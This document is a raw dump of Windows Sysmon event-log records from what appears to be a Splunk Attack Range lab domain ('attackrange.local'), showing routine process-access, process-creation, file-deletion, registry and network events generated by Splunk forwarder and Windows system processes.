14:53:20.013{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.013{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7160-613B-2A0B-00000000F001}3340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.013{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7160-613B-2A0B-00000000F001}3340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.014{7BD73061-7160-613B-2A0B-00000000F001}3340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000047826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.465{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59418-false10.0.1.12-8000- 10341000x800000000000000047825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7161-613B-2C0B-00000000F001}4952C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7161-613B-2C0B-00000000F001}4952C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7161-613B-2C0B-00000000F001}4952C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.779{7BD73061-7161-613B-2C0B-00000000F001}4952C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.388{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89FAB4D7508EECAE6B10DBEF44DAE5E0,SHA256=A95336417711F01D5AC4906A4420CDAC402542DA75263F3E509EEAA720E15C80,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015439Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:21.155{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DD99FB1605DE9B5A04B77E17AFB87D8,SHA256=DA402E64689BB4506DC961091E312EF3E013BAB7D7ACC07486C31D4BF7EC5364,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:21.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=362A1DAEADA11E36702B8616F680071D,SHA256=9BFA178A4A9BAB0DFC0E27161B035ECBA052DACB55141DA55C098575F4BB8A06,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:22.607{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BC9D52DA7C2A4C5E085D7F867BA03D0,SHA256=E3CEC9F86E3C582D15855CBEB3CF59B9B62F7DF5BA410D50986B3537F39D659B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015440Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:22.170{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F17D7ACE0A2D626034DA9A8D1F7063C,SHA256=95CB7F53E175F6B68A9C2DB6B08AC39BA0D60C1BB9E656DE5D01064E6893B63B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:23.638{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FA8B62FC3A507E8A3E7CA0C618DA98E,SHA256=819611B50FF6235B14AFF405CF54C65040C07FD6315E7474EA37AB079C94421D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015442Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:21.557{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50226-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015441Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:23.202{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CD2074B5FE8A6BB4A522A8DAA9315A3,SHA256=BBDBE2B928CB5F477208C122FBE00DB308791FAA230ECA3773520C4422220386,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:22.997{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3E2D39606DE3A5EE5A464D2B021A9E3D,SHA256=FEF889F90A0AA79CE6A21096B39F7303B053F96C3C1F62880A00A4A3A52B3946,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000047831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:24.935{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a653-0x9b568959) 23542300x800000000000000047830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:24.654{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A777A25BAFC4814BFBB09AFA85307576,SHA256=F4620F42CAD417142BDCE7A43941ED0FEC89C86CCE8DEFAB8BF538DBDB62A5AB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015443Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:24.202{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5475731914ECDD0AC5C6ADC7FE5CA04B,SHA256=386B9F2B683DF4FDD88760FC4B5AC084FF25561C68FC86392881BACA760616FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:25.669{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=782CAD3D3FF3B7FE982514872C403705,SHA256=A72BB872E3E10048174C4CFA0028AAD65F8BAE1792099CF6C07AE2D9E025F88E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015444Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:25.202{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E5252809D1686595BCB74666DC04545,SHA256=EE6CEFD95C11BD07B9724EE7F38114BEDCA94451CF7E6CF03D5EBAB1C1064FF2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:26.669{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B5FD455D28251CA21797A03745A5E8D,SHA256=42B1DD9855B2D70209D7820E19C7DDAE43A9FE7D1833FCCFDB8EE7C596C48087,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015445Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:26.217{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE48E176694FF277B9161C9678C488EE,SHA256=E05744FAF52B932285D0735F0608A4C79575D48FDC6FF393388BACC89751EDD2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:24.229{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.14win-dc-387.attackrange.local123ntpfalse20.101.57.9-123ntp 23542300x800000000000000047834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:27.700{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C4F8DF194C9660212F5AF9CFB97DB6A,SHA256=149F90D74D60F91433266B2FE5A610DA3DE4567B61DF3CD604B70B7345D9AFB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015446Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:27.249{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=830D22F5BD4BFAEF475E00CF877D8E82,SHA256=1295B71CE619A74B3FC4149A3BD10D5A02CCEF07BB4318CD1DD9AAA480850622,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:25.370{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59419-false10.0.1.12-8000- 23542300x800000000000000047836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:28.716{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C331853875A5EEA7E4403CCA08CD163A,SHA256=0E5D89CC91E636D54D9C0CB1DA08D394C44F4656DFD00B32AE2B5B7CAB125130,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015447Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:28.295{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40693288D784DBCF882A4D767B7EDC3B,SHA256=4E8A3B142E662568BC8A60A6E2E705E73C42BB304D735155F04A110E9C9320F8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:29.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=645FE93B6C397A8206031F628FAA32AB,SHA256=E8BA84C1A00633469AAB9DDF23A0E45270F44BDD41A4238E614BF85CCEFCC292,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015449Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:29.296{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA756B14FE74B7354D8CBE8A91F9AE1C,SHA256=DD4A568A5BC526271595E0EFCA81F25349D54ADD4B646039A9B81900CA3425FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:29.700{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:29.700{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 354300x800000000000000015448Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:27.541{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50227-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:30.747{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99BF7B3FB7BC5B56A6FA971F726E3C80,SHA256=023C8C9ADE7508466CA6A75A0DA9C9DF401CF90E8E6C5C33FD260F76617BF15F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015450Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:30.311{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=531D68B1D0763981EF2494242BEB20A5,SHA256=84F22AC4FD98C742E4DB4A7B47700FD336B746F6A289E4E3D228B28AB8C4B9A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 